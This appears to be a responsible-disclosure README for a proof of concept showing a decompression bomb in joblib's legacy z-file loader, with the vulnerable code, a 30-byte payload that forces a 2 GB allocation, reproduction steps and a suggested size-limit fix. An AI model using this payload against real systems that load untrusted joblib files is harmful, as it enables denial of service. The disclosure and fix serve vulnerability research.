MBM7/zarr-json-metadata-bomb-poc
joblib — Z-File Header Length Decompression Bomb (PoC)
Repo: MBM7/joblib-zfile-decompression-bomb-poc Status: Responsible disclosure — submitted to Huntr Severity: High / CWE-789 Package: joblib (PyPI) — Finding #2, distinct from NumpyArrayWrapper Shape Bomb
Summary
A 30-byte crafted file causes joblib.load() to allocate 2 GB before failing — the highest amplification ratio of any joblib finding.
Root Cause
joblib/numpy_pickle_compat.py, read_zfile():
length = file_handle.read(header_length)
length = length[len(_ZFILE_PREFIX):]
length = int(length, 16) # ← from file header, NO check
data = zlib.decompress(file_handle.read(), 15, length) # ← bufsize = 2 GB
assert len(data) == length # fails AFTER the allocationlength is read from the ZF prefix + hex string header with no upper bound check. zlib.decompress(data, wbits, bufsize) pre-allocates bufsize bytes before decompression. With length = 2_000_000_000, Python allocates 2 GB before discovering the actual data is 11 bytes.
Attack
The z-file format is:
b'ZF' + hex(length).ljust(19) + zlib_compressed_datajoblib.load() detects the ZF magic and routes the file through numpy_pickle_compat.read_zfile(), which triggers the allocation.
payload = (
b'ZF' +
b'0x77359400 ' + # hex(2_000_000_000) padded to 19 chars
zlib.compress(b'x', 1) # 11 bytes of valid zlib data
)
# Total: 30 bytesReproduce
pip install joblib
python poc_joblib_zfile_bomb.pyExpected:
File size : 30 bytes
Amplification : 1:66,666,666
Peak memory : 2000 MB ← alloc before decompressionDistinction from Finding #1 (NumpyArrayWrapper Shape Bomb)
Suggested Fix
MAX_ZFILE_BYTES = 512 * 1024 * 1024 # configurable
if length > MAX_ZFILE_BYTES:
raise ValueError(
f"Z-file header claims {length} decompressed bytes — "
"exceeds safety limit. Possible decompression bomb."
)